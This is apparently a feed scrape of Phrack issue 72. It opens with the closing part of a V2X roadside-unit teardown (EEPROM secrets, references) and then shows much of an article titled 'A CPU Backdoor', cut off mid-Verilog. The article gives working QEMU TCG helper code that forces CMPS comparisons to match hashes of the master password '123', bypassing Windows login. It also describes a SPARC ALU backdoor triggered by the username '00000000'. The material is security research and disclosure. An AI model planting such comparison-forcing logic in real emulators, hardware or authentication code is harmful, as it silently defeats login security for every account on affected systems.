Type | Channel Number | Frequency (MHz) | |-----------------|--------------|----------------|-----------------| | A wave0 | CCH | 178 | 5890 | | A wave0 | SCH | 172 | 5860 | | B wave1 | SCH | 184 | 5920 | | B wave1 | SCH | 180 | 5900 | j2735_version == 2016 The read-only UART is via the hardware side (not 100% confident) so by soldering the connections it's likely possible to get full UART access. Additionally, once the EOS loads, the keyboard connected via the USB port that works up to that point stops functioning so I wasn't ever able to try any password once shown the login prompt when booting into the RESCUE image. Same goes for booting into single user mode by adding "single" to the APPEND kernel parameter line. In fact, when booting into single user mode, it states ask us for the password and we'll give it to you, but it still isn't clear if there even is a password. All kinds of interesting certificates, keys, etc were found. Such as net-snmp-cert used by the RSU server. os_image_sign.pubkey, ca-certificates.crt, ssh host keys were also stored in the EEPROM. Also, if the RSU was configured to have the 'admin' user, that users hashed password was stored in EEPROM as well. You can also enable/disable that user via EEPROM changes as well. There was also a 'manage-certs' directory that contained a ton of links to other organizations cert files, and then the URLs to enroll the RSU into their ITS traffic management systems (or perhaps just enable cross communication?). Think I can leave it at that, there's so much that is interesting, I can list things forever... --[ 8 - References [1] https://apkpure.com/kapsch-ewalk/net.kapsch.ewalk/versions [2] https://5gaa.org/c-v2x-explained/ [3] https://github.com/usdot-fhwa-OPS/V2X-Hub [4] https://www.wjbf.com/business/press-releases/accesswire/ 983795/kapsch-trafficcom-supports-colorado-connected-vehicle-safety-project/ [5] https://www.kapsch.net/_Resources/Persistent/ 7b221a05b49b2d630a46508667e0d52de5f2efe7/ Reference_Factsheet_Colorado_DOT_I-70_Corridor_EN.pdf [6] https://www.kapsch.net/_Resources/Persistent /59824d4e81dce9d1a902359261304f6cf8231654/KTC-CVS-Reference_Ohio_33-SMC.pdf [7] https://www.kapsch.net/en/press/releases/ktc-20240702-pr-en [8] https://www.traffictechnologytoday.com/news/ connected-vehicles-infrastructure /kapsch-supplying-equipment-for-australias- largest-c-its-connected-vehicle-pilot-project.html [9] https://www.etsi.org/deliver/etsi_en/302600_302699/302663/ 01.02.00_20/en_302663v010200a.pdf [10] https://di9mr54a05a64.cloudfront.net/api-mciaustralia.expoplatform.com/ media/MTYxODI3MDY3NzYwNzRkOWQ1ZThlYTI%3D.pdf [11] https://www.kapsch.net/_Resources/Persistent/ 3d251a8445e0bf50093903ad70b3dbed34dec7e7/ KTC-CVS_RIS-9260_DataSheet.pdf [12] https://www.kapsch.net/_Resources/Persistent /b60658fe131d82fe20c5389cdc2f6425064f4a88/ KTC-CVS_RIS-9360_DataSheet.pdf [13] https://fcc.report/FCC-ID/XZU9160/ [14] https://www.mouser.com/datasheet/2/965/come_mbt10_datasheet-3235566.pdf [15] https://content.u-blox.com/sites/default/files/ EVK-THEO-P1_UserGuide_%28UBX-15013939%29.pdf [16] https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/ DEF%20CON%2025%20-%20Woodbury-and-Haltmeyer- Linux-Stack-Based-V2X-Framework-Hack-Connected-Vehicles.pdf [17] https://chipsec.github.io/index.html [18] https://play.google.com/store/apps/developer?id=Kapsch+TrafficCom+AG&hl=en_US --[ 9 - Raw Output For an extensive collection of logs and tool output from the devices mentioned in this paper, please check out this repo: https://github.com/GainSec/Phrack-72-Raw-Output-V2X ]]> https://phrack.org/issues/72/a-cpu-backdoor.html Tue, 19 Aug 2025 00:00:00 +0000 uty Phrack #72 phrack-72-17 |=-----------------------------------------------------------------------=| |=--------------------------=[ A CPU Backdoor ]=-------------------------=| |=-----------------------------------------------------------------------=| |=------------------=[ uty <whensungoes@gmail.com> ]=--------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 1. Introduction 2. Known CPU "Backdoors" 2.1 VIA C3 ALTINST Instructions 2.2 AMD Secret Password 0x9C5A203A 2.3 Candidate Backdoor Instructions 3. Designing a CPU Backdoor 3.1 Windows Password Authentication Bypass via Backdoored Instruction 3.2 x86 QEMU TCG-based Prototype 3.3 SPARC64 Backdoor Prototype on OpenSPARC T1 FPGA 3.3.1 *nix Password Authentication Analysis 3.3.2 Backdoor Implementation in RTL 3.4 Intel Goldmont x86 Microcode-Based Backdoor Implementation 3.4.1 Microcode Basics 3.4.2 CMPS Microcode Analysis 3.4.3 CMPS Backdoor Implementation 3.4.4 Installing Microcode Backdoors via Coreboot 3.4.5 The 0x0 Bytes Left Club 3.4.6 CRBUS, LDAT and Memory Arrays 4. Miscellaneous 4.1 X86 SSE/AVX Instruction Sets 4.2 Other Thoughts 5. Conclusion 6. Acknowledgements 7. References 8. Appendix: Code --[ 1. Introduction The concept of CPU backdoors is both fascinating and controversial. While their existence is often debated, it's hard to believe that the major CPU vendors (like Intel, AMD, ARM and IBM) or certain agencies have never considered them. An effective CPU backdoor must be undetectable and lethal, reserved only for breaching the most secure systems as a last resort. Current discussions often focus on undocumented instructions. The problem is, those still require the attacker to already have some foothold in the system. Instead, what if a backdoor embedded deep within the processor's microarchitecture, could grant access to a system without requiring any prior compromise? Certainly, components like the Baseboard Management Controller (BMC) and Intel's Management Engine (ME), along with their underlying controlling bus, can fully control a system at the deepest level. However, these features are at least partially documented and typically fall under the broader category of Reliability, Availability, and Serviceability (RAS). Customers should already be well aware of the risks when their devices are marketed as remotely manageable. The goal of this project is to implant a CPU backdoor by altering instruction implementations. It is not meant to make a destructive "halt-and-catch-fire" instruction. This backdoor is designed to subtly manipulate critical instructions such as "CMP" that are involved in password authentication, to bypass system security checks. Imagine an attacker sitting down at a secured machine he's never touched before, or connecting remotely. By entering one secret master password, he can gain access to any account on the system. Years ago, a security researcher demonstrated an attack on an ATM running Windows XP by exploiting an exposed FireWire port. This port allowed direct memory access from the connected peer machine, bypassing Windows XP's login mechanism. This is how the Windows password authentication works: when Windows system received a password input, it would pad the string and generate a 16-byte NTLM hash, which the system compared against stored credentials in the SAM database via the MsvpPasswordValidate() function within msv1_0.dll. By accessing the system's memory through the FireWire interface, the attacker could patch the validation function to always return "true" (rendering all passwords valid) or embed a predetermined hash to accept a specific master password. This memory-level manipulation completely circumvented Windows XP's security measures, granting unrestricted access to any system account. Surprisingly, the hash used is unsalted. Even Windows 10 still relies on unsalted hashes (I haven't tested Windows 11 yet, as none of my machines or VMs meet its requirements, but I suspect the situation remains unchanged). A CPU password backdoor would be especially convenient due to the predictability of unsalted hashing. One challenge for hardware-level backdoors is that CPU cores operate at a lower abstraction layer, stripping away OS-level context during instruction execution. However, it is notable that operating system authentication module has remained largely unchanged for years (all NT-based Windows systems use the same authentication mechanism and libraries as just described above, at least from Windows XP to Windows 10), whether by deliberate design or simply due to the robustness of their implementation. For the backdoor design, malicious circuitry is embedded into the CPU's Arithmetic Logic Unit (ALU). When a specific hash value is compared, the malicious circuitry manipulates the ALU to produce a false result, forcing it to return a match regardless of the actual comparison. This manipulation is triggered when the ALU operation originates from a CMP instruction executed by the password authentication module (64-bit hashes derived from the secret master key prevent false triggers). As a result, the master key will be accepted as valid for any stored credentials, bypassing authentication checks. To validate this concept, I employed QEMU with TCG (Tiny Code Generator) to demonstrate the backdoor on a virtual x86 machine running Windows. To further verify the backdoor's feasibility on commercial hardware, I implemented it in Verilog RTL for the OpenSPARC T1 (Sun Microsystems' open-source UltraSPARC T1 variant) and deployed it on a Xilinx ML505 (Virtex-5 LX110T) FPGA board. This FPGA implementation enabled cycle-accurate verification of the backdoor on actual CPU hardware. Since Windows does not support SPARC-based systems, I installed a Linux distribution instead and made adjustments to the backdoor. In Linux and other Unix-like systems, the use of salted password hashes complicates backdoor implementation. The salt prevents the CPU from directly recognizing predefined hash values, but the username transmitted in cleartext can still serve as an alternative trigger. A microcode-based prototype was also implemented on an Intel Pentium N4200 CPU (Goldmont microarchitecture) to validate the concept on commercial hardware. This paper is structured in three main sections. We begin by discussing existing CPU backdoors to establish necessary background knowledge. Next, we introduce and demonstrate our novel CPU backdoor design. Finally, we discuss and conclude with our insights. --[ 2. Known CPU "Backdoors" When discussing CPU "backdoors," hidden instructions are a common concern. For example, a single malicious instruction might grant the highest system privileges. While CPU manufacturers document most instructions, undocumented instructions do exist [5][6][7][8]. Actually, since all instructions must comply the processor's encoding rules, it is not difficult to enumerate all undocumented opcodes. These could either be valid but undocumented instructions or simply reserved opcode space for future use. However, variable-length instruction sets (like x86) add complexity. Undocumented extension bytes could exist, expanding the available encoding space and potentially concealing more hidden opcodes. The following is a portion of Intel's 2-byte opcode map for instructions that start with the escape code 0F. The second byte is determined by its row and column position in the map. For example, the INVD instruction corresponds to 0F08, while WBINVD is encoded as 0F09. Some instructions also require a prefix. VMOVAPD, for instance, is represented as 660F28, where 66 is the prefix, 0F is the escape code, and 28 is the second byte derived from the opcode map. +--------------------------------------------- -------------------+ | |pfx| 8 | 9 | A | B | | E | F | |--+---+--------+-------+----------+--------+- +--------+---------| | 0| |INVD |WBINVD | |2-byte | | | | | | | | | |illegal | ... | | | | | | | | |opcodes | | | | | | | | | | UD2 | | | | |--+---+--------+-------+----------+---------- +--------+---------| | 1| |Prefetch| |NOP /0 Ev| | | |(Grp 16)| | | |--+---+--------+-------+----------+---------- +--------+---------| | | |vmovaps |vmovaps| cvtpi2ps |vmovntps| |vucomiss| vcomiss | | | |Vps,Wps |Wps,Vps| Vps,Qpi |Mps,Vps | |Vss,Wss | Vss,Wss | | |---+--------+-------+----------+--------+- ... +--------+---------| | | 66|vmovapd |vmovapd| cvtpi2pd |vmovntpd| |vucomisd| vcomisd | | | |Vpd,Wpd |Wpd,Vpd| Vpd,Qpi |Mpd,Vpd | |Vsd,Wsd | Vsd,Wsd | | 2|---+--------+-------+----------+--------+- +--------+---------| | | F3| | |vcvtsi2ss | | | | | | | | | |Vss,Hss,Ey| | | | | | |---+--------+-------+----------+--------+- +--------+---------| | | F2| | |vcvtsi2sd | | | | | | | | | |Vsd,Hsd,Ey| | ... | | | |--+---+--------+-------+----------+--------+- +--------+---------| | 3| | 3-byte | | 3-byte | | | | | | | | escape | | escape | | | | | |--+---+--------+-------+----------+--------+- +--------+---------| | ... | The opcode map includes several unassigned entries, such as 0F 0A, which may indicate either undocumented or invalid instructions. Another example is 0F 3F in the bottom-right corner, also left blank in Intel's documentation. However, this particular opcode holds significance in VIA's x86 CPUs, where it encodes the ALTINST (Alternate Instruction). While VIA's manuals confirm the existence of ALTINST, they provide minimal technical details, leaving the alternate instruction set largely undisclosed. The seventh row of the map includes entries labeled "3-byte escape," which denote instructions starting with the escape sequences 0F 38 or 0F 3A. To enumerate these instructions, the corresponding 3-byte opcode map is needed. Although Intel's documentation suggests that 3-byte opcodes is the current maximum length, nothing prevents additional escape codes in further bytes. Notably, the gap between 0F 38 and 0F 3A, which is the unassigned 0F 39 raises intriguing questions: Is this an undocumented instruction, or could it be an undocumented escape prefix? Similar question arise with other blank entries in the map. Some CPU instructions have hidden functionalities that are unlocked only when specific values are set in registers. While the base instruction is documented, its full capabilities may remain undisclosed unless the right "key" (a particular register value) is provided. For example, the CPUID instruction retrieves CPU information based on register inputs, behaving like a standard feature. However, what if certain register values could unlock deeper, undocumented functions? AMD CPUs already use this method for some debugging features. This approach has advantages. The instruction behaves normally without the correct register value, its hidden functionality remains undetectable unless the precise activation code is provided. Additionally, the risk of accidental execution is minimal, especially on 64-bit systems, where the chances of randomly entering the correct 64-bit "key" are very low. ----[ 2.1 VIA C3 ALTINST Instructions The VIA C3 processor has a unique instruction called ALTINST[9] (encoded as 0F 3F), which serves as an entry point to an undocumented alternate instruction set. While the C3 technical manual acknowledges the existence of this instruction set, it provides no further details. The manual says: "This alternate instruction set is intended for testing, debugging, and specialized applications. As such, it is not documented for general use. If access to these instructions is required, contact your VIA representative." However, research[10] and patents[11][12][13][14] suggest that the VIA C3's ALTINST opcode unlocks an undocumented RISC-like microcode ISA that bypasses x86 privilege enforcement, allowing ring 3 code to execute ring 0 operations and circumvent memory protection checks. To enable the alternate instruction set, the ALTINST bit must first be set to 1 in the Feature Control Register (FCR) via WRMSR. If disabled (ALTINST=0), executing the 0F 3F opcode triggers an Invalid Instruction (#UD) exception. Once enabled, executing 0F 3F performs a near branch to CS:EAX while simultaneously switching the processor into an internal mode, interpreting subsequent instructions as the microcode and bypassing standard privilege checks. After executing the 0x0F3F gateway instruction, the processor expects alternate instructions to be encoded within an LEA [EAX+EAX+disp32] opcode sequence (0x8D8400XXXXXXXX), where the 32-bit displacement field (XXXXXXXX) contains the actual micro-operation. The CPU internally extracts and executes this payload while discarding the x86 LEA wrapper. This encoding scheme is clever, because disassemblers typically interpret 0x0F3F as a NOP instruction. The following bytes are then processed as a standard x86 LEA operation, effectively concealing the alternate instruction stream within what appears to be normal x86 code. ----[ 2.2 AMD Secret Password 0x9C5A203A Model-Specific Registers (MSRs) are specialized control registers in the x86 architecture, designed for tasks such as debugging, execution tracing, performance monitoring, and enabling or disabling specific CPU features. Access to these registers is performed using the RDMSR and WRMSR instructions, which reference the target MSR via a 32-bit index. Although most MSRs are documented, certain processors, particularly AMD's Opteron (K8 microarchitecture), have undocumented MSRs that require password to access. For example, on those processors, the password 0x9C5A203A unlocks hidden debugging functionality. According to internet user Czernobyl[15], these undocumented MSRs are primarily used for low-level debugging. To activate this feature, the password must first be loaded into the EDI register. Failure to do so triggers a General Protection Fault (GPF) exception. An AMD white paper titled "Live Migration with AMD-V Extended Migration Technology"[4] references password-protected MSRs. The document includes a code example (shown below) demonstrating how a hypervisor or operating system can disable reporting of the RDTSCP instruction on Second-Generation AMD Opteron processors: /* * Example 3: Use MSR C001_1005 to clear bit 27 (RDTSCP) reported in * EDX after CPUID Function 8000_0001 */ /* Read current value of the CPUID Override MSR C001_1005. After RDMSR completes, EDX:EAX contains the 64bit MSR value. EDX is loaded with the high 32 bits of the MSR and EAX is loaded with the low 32 bits. The low 32 bits of this MSR are returned in EDX after CPUID Function 8000_0001 */ /* Write the new EDX:EAX value into CPUID override MSR. Second-Generation AMD Opteron Processors require a 32 bit password in EDI. Contact AMD to get the password. */ MOV EDI, <PASSWORD> MOV CX, 0xC0011005h RDMSR /* Clear bit 27 (RDTSCP) of EAX register */ ANDL EAX, 0xF7FFFFFFh WRMSR According to the white paper, the password (0x9C5A203A) is only necessary for writing a specific bit in MSR c0011005h — a register that enables access to additional undocumented features. While the document mentions that the password must be obtained directly from AMD, it was accidentally revealed in another whitepaper[34]. ----[ 2.3 Candidate Backdoor Instructions The OR instruction is part of the IBM Power ISA[19]. The basic operation is defined as: "or RA,RS,RB: The contents of register RS are ORed with the contents of register RB and the result is placed into register RA. Some forms of or Rx,Rx,Rx provide special functions; see Section 3.2 and Section 4.3.3, both in Book II." This appears to be a normal OR instruction with register operands. However, when all three operands reference the same register (effectively performing a NOP), it activates hidden system functions, such as adjusting process priorities or issuing cache hints. For example, executing "or 2, 2, 2" (using general-purpose register 2) silently sets the process priority to "medium," appearing harmless while triggering background behavior. Imagine if this instruction had hidden functionality, like adjusting current privileges, then it could serve as a convenient backdoor. --[ 3. Designing a CPU Backdoor The known backdoors discussed earlier, along with proposed ideas [3][18], require the attacker to already possess code execution capabilities within the system. However, obtaining initial access often presents the greatest challenge. To address this, we consider the login process. Password authentication, a foundational security mechanism, relies on users submitting credentials (username and password) for verification. However, even robust password authentication fails if the CPU itself is backdoored, enabling attackers to bypass verification silently. ----[ 3.1 Windows Password Authentication Bypass via Backdoored Instruction Windows password authentication works as follows. During login, user password is padded and hashed to 16 bytes using NTLM algorithm. The MsvpPasswordValidate() function from msv1_0.dll then compares this hash with the one stored in the SAM database using RtlCompareMemory(). If they match, authentication succeeds. Below is the disassembly of RtlCompareMemory(): ntdll!RtlCompareMemory: 76ff6970 56 push esi 76ff6971 57 push edi 76ff6972 fc cld 76ff6973 8b74240c mov esi,dword ptr [esp+0Ch] 76ff6977 8b7c2410 mov edi,dword ptr [esp+10h] 76ff697b 8b4c2414 mov ecx,dword ptr [esp+14h] 76ff697f c1e902 shr ecx,2 76ff6982 7404 je ntdll!RtlCompareMemory+0x18 (76ff6988) ntdll!RtlCompareMemory+0x14: 76ff6984 f3a7 repe cmps dword ptr [esi],dword ptr es:[edi] 76ff6986 7516 jne ntdll!RtlCompareMemory+0x2e (76ff699e) ntdll!RtlCompareMemory+0x18: 76ff6988 8b4c2414 mov ecx,dword ptr [esp+14h] 76ff698c 83e103 and ecx,3 76ff698f 7404 je ntdll!RtlCompareMemory+0x25 (76ff6995) ntdll!RtlCompareMemory+0x21: 76ff6991 f3a6 repe cmps byte ptr [esi],byte ptr es:[edi] 76ff6993 7516 jne ntdll!RtlCompareMemory+0x3b (76ff69ab) ntdll!RtlCompareMemory+0x25: 76ff6995 8b442414 mov eax,dword ptr [esp+14h] 76ff6999 5f pop edi 76ff699a 5e pop esi 76ff699b c20c00 ret 0Ch ntdll!RtlCompareMemory+0x2e: 76ff699e 83ee04 sub esi,4 76ff69a1 83ef04 sub edi,4 76ff69a4 b904000000 mov ecx,4 76ff69a9 f3a6 repe cmps byte ptr [esi],byte ptr es:[edi] ntdll!RtlCompareMemory+0x3b: 76ff69ab 4e dec esi 76ff69ac 2b74240c sub esi,dword ptr [esp+0Ch] 76ff69b0 8bc6 mov eax,esi 76ff69b2 5f pop edi 76ff69b3 5e Since the hash data is exactly 16 bytes long and system-allocated memory is typically word-aligned, RtlCompareMemory() optimizes the comparison process. On 32-bit x86 systems, it performs four 32-bit (DWORD) comparisons using REPE CMPSD, while on 64-bit x86 systems, it executes two 64-bit (QWORD) comparisons via REPE CMPSQ, as shown below. x86 "f3a7 repe cmps dword ptr [esi],dword ptr es:[edi]" x86_64 "f348a7 repe cmps qword ptr [rsi],qword ptr [rdi]" The esi and edi registers store the memory addresses of the two hash values being compared, while ecx contains the number of comparisons to perform. The repe (or repz) prefix instructs the CMPS instruction to repeat until either ecx reaches zero or a mismatch is detected.In the Windows password authentication process, CMPS functions as the decisive instruction. Its result directly determines whether authentication passes or fails. Consider the password "123" as the secret master password. Its corresponding hash is "3dbde697d71690a769204beb12283678". During the REPE CMPS instruction on x86 systems, the edi register contains the memory pointer and sequentially reads the data values 0x97e6bd3d, 0xa79016d7, 0xeb4b2069, and 0x78362812. On x86_64 systems, this data is organized in 64-bit thunks as 0xa79016d797e6bd3d and 0x78362812eb4b2069. When the backdoored CPU processes these specific values during a CMPS operation, it will set the Z flag to indicate a match, regardless of the actual memory content. As a result, the password "123" will successfully authenticate against any password stored in the system. The REPE CMPS instruction is relatively complex. It involves memory accesses and multiple arithmetic operations. For instance, the data comparison is essentially a subtraction operation carried out by the ALU. In real x86 processors, it will be decoded into microcode routines stored in the CPU's microcode ROM, which then executes the corresponding sequence of micro-operations. ----[ 3.2 x86 QEMU TCG-based Prototype I truly wish I could implement this backdoor on a x86 CPU. However, I haven't found an open-source x86 processor capable of running the Windows NT kernel, and developing one myself is beyond my current capabilities (though I'm studying the ao486_MiSTer project). For now, I'll demonstrate the backdoor using QEMU's TCG emulator instead. (Three years later, I'm still working towards my x86-core goal. Fortunately, microcode has become far more accessible, allowing me to prototype a microcode-based backdoor as well. Full details are in Section 3.4.) TCG (Tiny Code Generator) is QEMU's dynamic binary translation engine. Instead of interpreting instructions one by one (like Bochs), TCG translates target CPU instructions into intermediate TCG ops, which are then compiled into host machine code. This approach, called Dynamic Binary Translation, delivers significantly better performance than traditional interpreters while still being software-based. To understand how TCG translates machine code, we begin with disas_insn() which is the core function that decodes CPU instructions into TCP ops: static target_ulong disas_insn (DisasContext *s, CPUState *cpu); Located in target/i386/tcg/translate.c, this implementation handles both x86 and x86_64 architectures. The disas_insn() function uses a large switch-case structure for instruction decoding. Within it, opcode 0xa7 maps to the CMPS instruction with dword operands, as illustrated below. case 0xa6: /* cmpsS */ case 0xa7: ot = mo_b_d(b, dflag); if (prefixes & PREFIX_REPNZ) { gen_repz_cmps(s, ot, pc_start - s->cs_base, s->pc - s->cs_base, 1); } else if (prefixes & PREFIX_REPZ) { gen_repz_cmps(s, ot, pc_start - s->cs_base, s->pc - s->cs_base, 0); } else { gen_cmps(s, ot); } break; gen_cmps() handles standalone CMPS instruction, while gen_repz_cmps() processes REP-prefixed CMPS operations by repeatedly invoking gen_cmps() for each iteration. The implementation is shown below. static inline void gen_cmps(DisasContext *s, MemOp ot) { gen_string_movl_A0_EDI(s); gen_op_ld_v(s, ot, s->T1, s->A0); gen_string_movl_A0_ESI(s); gen_op(s, OP_CMPL, ot, OR_TMP0); gen_op_movl_T0_Dshift(s, ot); gen_op_add_reg_T0(s, s->aflag, R_ESI); gen_op_add_reg_T0(s, s->aflag, R_EDI); } It is constructed using TCG front-end operations, which consist of functions beginning with tcg_ such as tcg_gen_mov_tl(). These operations represent fundamental CPU instructions and are directly translated into host machine code during JIT compilation, functioning similarly to microcode in real x86 CPU. For more complex instruction emulation that cannot be efficiently represented with basic TCG operations, TCG provides a helper function mechanism. These helpers are implemented as C functions that are called from TCG-generated code, allowing complex operations to be executed as precompiled native binary for optimal performance. By using helper functions for complicated cases, TCG avoids the need to express sophisticated logic through TCG ops while maintaining execution speed. The helper function gen_helper_malicious_cmps() implements backdoor logic that checks if the memory pointed to by edi/rdi matches predefined master password hashes. If a match is found, gen_malicious_op() alters the result of the CMPS instruction to fake a successful comparison. Relevant code snippets are shown below. static inline void gen_cmps(DisasContext *s, MemOp ot) { TCGv ret0; ret0 = tcg_temp_local_new(); gen_string_movl_A0_EDI(s); gen_op_ld_v(s, ot, s->T1, s->A0); gen_string_movl_A0_ESI(s); gen_helper_malicious_cmps(ret0, cpu_env, s->T1); gen_malicious_op(s, OP_CMPL, ot, OR_TMP0, ret0); gen_op_movl_T0_Dshift(s, ot); gen_op_add_reg_T0(s, s->aflag, R_ESI); gen_op_add_reg_T0(s, s->aflag, R_EDI); tcg_temp_free(ret0); } #ifdef TARGET_X86_64 target_ulong helper_malicious_cmps(CPUX86State *env, uint64_t rdi) { target_ulong val = 0; if (rdi == 0xa79016d797e6bd3d || rdi == 0x78362812eb4b2069) { printf("helper_malicious_cmps: edi 0x%llx\n", (long long unsigned int)rdi); val = 1; } return val; } #else target_ulong helper_malicious_cmps(CPUX86State *env, uint32_t edi) { target_ulong val = 0; if (edi == 0x97e6bd3d || edi == 0xa79016d7 || edi == 0xeb4b2069 || edi == 0x78362812) { printf("helper_malicious_cmps: edi 0x%x\n", edi); val = 1; } return val; } #endif /* if d == OR_TMP0, it means memory operand (address in A0) */ static void gen_malicious_op(DisasContext *s1, int op, MemOp ot, int d, TCGv ret0) { ... switch(op) { ... case OP_CMPL: { // uty: test TCGv one; one = tcg_constant_tl(1); // no need to free tcg_gen_movcond_tl(TCG_COND_EQ, s1->T0, ret0, one, one, s1->T0); tcg_gen_movcond_tl(TCG_COND_EQ, s1->T1, ret0, one, one, s1->T1); tcg_gen_mov_tl(cpu_cc_src, s1->T1); tcg_gen_mov_tl(s1->cc_srcT, s1->T0); tcg_gen_sub_tl(cpu_cc_dst, s1->T0, s1->T1); set_cc_op(s1, CC_OP_SUBB + ot); tcg_temp_free(one); // tcg_temp_free will simply ignore it } break; } } The master password '123' will authenticate successfully once the REPE CMPS instruction completes its comparison with all hash fragments. This means that on this QEMU virtual machine, as long as it runs a Windows NT-based system, the password '123' can be used to access any user account. --[ 3.3 SPARC64 Backdoor Prototype on OpenSPARC T1 FPGA To validate the backdoor's feasibility on real hardware, we implemented a prototype on the OpenSPARC T1 processor. OpenSPARC T1 is the open-source version of Sun Microsystems' UltraSPARC T1 (codenamed Niagara), featuring a single-issue, in-order, 6-stage pipeline with multicore and multithreading support. Its source code is publicly available under the GNU General Public License v2. For testing, we used Xilinx's OpenSPARC Evaluation Platform (ML505-V5LX110T), an FPGA board designed to emulate a full OpenSPARC T1 system, including the CPU, DDR memory controller, Ethernet interfaces, and other peripherals. This setup, leveraging the open-source RTL and FPGA-based emulation, provides the closest possible approximation to testing on a commercial CPU. ----[ 3.3.1 *nix Password Authentication Analysis The OpenSPARC project offers SunOS 5.11 and Ubuntu 7.10 ramdisk images for the FPGA-emulated system. Both operating systems run a 64-bit kernel but restrict user-mode programs to 32-bit execution. As noted in the SPARC Assembly Language Reference Manual [2], certain 64-bit registers remain accessible to 32-bit programs: "The global registers and output registers can store full 64-bit integer values, while the input and local registers are limited to 32-bit values in the lower half." In Ubuntu 7.10's 32-bit libc-2.6.1.so, the strcmp() function leverages 64-bit registers for string comparisons. When memory addresses are word-aligned, it uses the CMP instruction with 64-bit register operands to perform efficient comparisons. As illustrated in the following assembly snippet, LDXA loads 64-bit data into the registers (o2 and o3), which are then compared using CMP: LAB_0018d310 XREF[2]: 0018d328(j), 0018d310 90 02 20 08 add __s1,0x8,__s1 0018d314 86 22 80 01 sub o2,g1,g3 0018d318 80 a2 80 0b cmp o2,o3 0018d31c 12 60 00 29 bpne,pn %xcc,LAB_0018d3c0 0018d320 d4 da 10 40 _ldxa [__s1+g0] 0x82,o2 0018d324 80 88 c0 02 andcc g3,g2,g0 0018d328 22 6f ff fa bpe,a,pt %xcc,LAB_0018d310 0018d32c d6 da 50 48 _ldxa [__s2+__s1] 0x82,o3 I also analyzed Debian 9.0 SPARC64 and found that its libpam and libc implementations closely resemble those in Ubuntu 7.10 SPARC32+. However, in Debian 9.0, strcmp() uses the XOR instruction for data comparison instead of CMP. This subtle change would make the backdoor ineffective if it exclusively targets on the CMP instruction. That said, this is only a minor issue for CPU vendors. They could either encourage compiler developers to favor a specific instruction or implement the backdoor for both cases. After all, only a few instructions are capable of performing data comparisons. Unlike Ubuntu, SunOS 5.11's libc is limited to 32-bit operands. For simplicity, this analysis only focuses on Ubuntu. In Ubuntu 7.10, user authentication is implemented through libpam (Pluggable Authentication Modules), which also verifies passwords by comparing hash strings. Our backdoor specifically exploits the CMP instruction in this verification process. Like most Linux distributions, Ubuntu 7.10 supports multiple hash algorithms, such as MD5 and SHA256. The following example demonstrates two hash strings, where the numeric value between the first two dollar signs indicates the algorithm used for each hash (MD5: $1$, SHA-256: $6$): "root:$1$7c71xB0y$mPkMSwwbMWgEXsyD6YV/C1:14168:0:99999:7:::" "u:$6$zE3nVD4laY6MS31E$NK4TnaebdS.O9FX9Q.pg7/yH.fH5bi8bHCFJdFbEaPtmW/59KKB 7JDk53W21ZoLnKhrkmB4u5cXE.9ynmeIEw0:18811:0:99999:7:::" Additionally, *nix systems commonly use salt in password hashing to strengthen security. For example, an MD5 hash string follows the format $1$<salt>$<hash>, where $1$ indicates the hashing algorithm, <salt> is a random value, and <hash> is the resulting salted password hash. Salting ensures that even one password produce millions of significantly different hashes, making precomputation attacks (like rainbow tables) infeasible, since storing every possible salted hash would be impractical. The CPU backdoor faces the same issue: it cannot compare against all salted hashes to identify one master password. However, during password authentication, the CPU can still read the username in cleartext. Our approach uses unique usernames to enable or disable the backdoor. For instance, entering the secret username "00000000" will enable the backdoor. After that, the CMPS instruction will return a match for all subsequent hash string comparisons until the backdoor is disabled again. During this period, an attacker can log in to any account using any password. The secret username should be 8 bytes long, ensuring it fits precisely into a 64-bit register. During password authentication, libpam first verifies the username against entries in /etc/passwd, where the default first entry is usually "root". When comparing the input "00000000" with the stored "root" entry, the CPU executes a "CMP reg-rs1, reg-rs2" instruction. In this case, reg-rs1 holds 0x726f6f7400000000, which corresponds to the ASCII encoding of "root" followed by null padding to fill the 8-byte register. Meanwhile, reg-rs2 contains 0x3030303030303030, the ASCII representation of "00000000". When these two values are compared, the CPU then examines subsequent hash comparisons. It specifically looks for a pattern where both the rs1 and rs2 registers contain values beginning with "$1$". Here is how *nix password authentication works. The crypt() function generates the hash value. libpam passes both the user-input password and the hash string stored in the /etc/shadow file to crypt(), as illustrated in the following code: char * crypt(const char *phrase, const char *setting); // stored_hash: e.g., "$1$7c71xB0y$mPkMSwwbMWgEXsyD6YVC1" pp = crypt("password_input", stored_hash); The function returns a pointer to the newly generated hash string, which is then compared to the stored hash string using strcmp(): ret = strcmp(pp, stored_hash); The compared strings include both the hash type identifier and the salt string. This explains why the backdoor checks for values beginning with $1$, as previously mentioned. For each subsequent CMP instruction that compares fragments of the hash, the CMP instruction must produce a match until the final piece of the hash is processed. Normally, a null byte (0x00) marks the end of a string, but the actual length can vary depending on the hash function and salt size. For simplicity, this backdoor prototype is specifically designed to work with MD5 hashes. ----[ 3.3.2 Backdoor Implementation in RTL The OpenSPARC T1 is a single-issue, in-order, multi-threaded processor implemented in Verilog. Its main pipeline consists of six stages: Fetch, Switch, Decode, Execute, Memory, and Writeback. The SPARC core supports four strands (virtual processors), each equipped with a dedicated register file. The microarchitecture is organized into two main units: the Instruction Fetch Unit (IFU) and the Execution Unit (EXU). The IFU handles the Fetch, Switch, and Decode stages, managing instruction retrieval from cache or memory, selecting the next strand for execution, and decoding instructions. The EXU controls the Execute, Memory, and Writeback stages and contains four functional units: the Arithmetic Logic Unit (ALU) for basic arithmetic and logic operations, the Shifter (SHFT) for bit manipulation, the Integer Multiplier (IMUL) for multiplication, and the Integer Divider (IDIV) for division. Other components such as the Load-Store Unit (LSU), responsible for memory access operations, and the Trap Logic Unit (TLU), which manages exceptions and interrupts. Our backdoor is integrated into the ALU, targeting the CMP (SUBcc) instruction. During execution, the malicious circuitry intercepts and modifies the comparison (subtraction) operation between the two operands. Below is the ALU module implementation: module sparc_exu_alu ( /*AUTOARG*/ // Outputs so, alu_byp_rd_data_e, exu_ifu_brpc_e, exu_lsu_ldst_va_e, exu_lsu_early_va_e, exu_mmu_early_va_e, alu_ecl_add_n64_e, alu_ecl_add_n32_e, alu_ecl_log_n64_e, alu_ecl_log_n32_e, alu_ecl_zhigh_e, alu_ecl_zlow_e, exu_ifu_regz_e, exu_ifu_regn_e, alu_ecl_adderin2_63_e, alu_ecl_adderin2_31_e, alu_ecl_adder_out_63_e, alu_ecl_cout32_e, alu_ecl_cout64_e_l, alu_ecl_mem_addr_invalid_e_l, // Inputs rclk, se, si, byp_alu_rs1_data_e, 